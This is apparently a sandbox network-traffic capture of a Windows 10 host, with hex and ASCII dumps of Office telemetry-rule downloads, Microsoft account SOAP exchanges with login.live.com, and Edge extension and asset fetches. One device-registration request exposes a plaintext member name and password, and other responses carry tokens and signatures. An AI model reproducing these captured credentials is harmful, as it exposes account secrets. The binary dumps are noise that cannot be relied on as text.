2024-10-30 17:06:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:41 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: c417f1b6-b01e-0084-279b-27d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170641Z-17fbfdc98bb6vp4m3kc0kte9cs00000009500000000028ue x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:41 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49817	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:41 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:41 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:41 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: b19a9190-b01e-00ab-7309-28dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170641Z-r1755647c66z4xgb5rng8h32e8000000078g000000006hnc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:41 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49819	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:41 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:41 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 2125f972-501e-0035-10a3-26c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170641Z-r1755647c66t77qv3m6k1gb3zw000000082g000000000mb8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:41 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49811	40.126.32.68	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:41 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-30 17:06:41 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-30 17:06:41 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 30 Oct 2024 17:05:41 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: fd09fb65-4d1a-420f-ac4c-8c06b17ef147 PPServer: PPV: 30 H: PH1PEPF0001B85E V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 30 Oct 2024 17:06:40 GMT Connection: close Content-Length: 1276
2024-10-30 17:06:41 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49818	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:41 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:41 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 95c67357-201e-0051-60f5-247340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170641Z-17fbfdc98bbx59j5xd9kpbrs8400000007t0000000005nx1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:41 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49813	40.126.32.68	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:41 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-10-30 17:06:41 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 6b 71 62 74 76 64 6a 6c 63 7a 70 66 6d 69 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 66 78 6e 79 7a 42 72 56 73 43 62 6a 3f 5a 36 3d 50 4b 57 7e 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02kqbtvdjlczpfmi</Membername><Password>fxnyzBrVsCbj?Z6=PKW~</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-10-30 17:06:48 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Wed, 30 Oct 2024 17:05:41 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_BAY x-ms-request-id: 51e7aa0f-850d-4766-bca7-fce5b8ea6bd9 PPServer: PPV: 30 H: PH1PEPF0001B814 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 30 Oct 2024 17:06:47 GMT Connection: close Content-Length: 17166
2024-10-30 17:06:48 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 34 30 31 30 34 34 43 36 35 33 30 38 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 62 34 32 37 34 31 32 37 2d 66 35 38 34 2d 34 34 62 31 2d 38 65 63 30 2d 37 36 61 34 30 36 39 62 35 39 62 33 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018401044C65308</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="b4274127-f584-44b1-8ec0-76a4069b59b3" LicenseID="3252b20c-d425-4711
2024-10-30 17:06:48 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49825	23.218.232.182	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:41 UTC	620	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1730912798&P2=404&P3=2&P4=L%2b47LxvmA3%2bZ79nO%2fn9EPVJpXdpgCaJwwvQq7APfr2t2Vfd0c3K8VcL%2bVoKdfPLRNzQrt8LFBAcCD98W6EOW9Q%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: i2UWQclRbPk+k8KdPisSdN Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 17:06:41 UTC	1216	IN	HTTP/1.1 200 OK Content-Type: application/x-chrome-extension Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT Accept-Ranges: bytes ETag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 5.3 MS-CorrelationId: 5adf5d61-adef-4109-9b95-37b167a2b76a MS-RequestId: b5f95701-fb84-41d5-9419-b9c8a4eae4e8 MS-CV: cMYG0a3615LSITRrWurvdL.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Cache-Control: public, max-age=86343 Date: Wed, 30 Oct 2024 17:06:41 GMT Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43" Connection: close Akamai-Request-BC: [a=23.193.38.54,b=233940428,c=g,n=US_TX_IRVING,o=20940] MSREGION: X-CCC: X-CID: 3 Akamai-GRN: 0.3626c117.1730308001.df1a5cc Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Server,range,hdntl,hdnts,Akamai-Mon-Iucid-Ing,Akamai-Mon-Iucid-Del,Akamai-Request-BC Access-Control-Allow-Headers: origin,range,hdntl,hdnts,CMCD-Request,CMCD-Object,CMCD-Status,CMCD-Session Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Origin: *
2024-10-30 17:06:41 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49824	13.107.246.57	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:41 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 17:06:42 UTC	583	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:41 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 24 Oct 2024 19:29:56 GMT ETag: 0x8DCF4623DD70062 x-ms-request-id: 987dc28b-e01e-0066-2852-2ada5d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T170641Z-17c5cb586f6gkqkwd0x1ge8t04000000090g000000002fzv Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 17:06:42 UTC	15801	IN	Data Raw: 1f 8b 08 08 34 a0 1a 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: 4gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-10-30 17:06:42 UTC	16384	IN	Data Raw: 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 Data Ascii: JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1
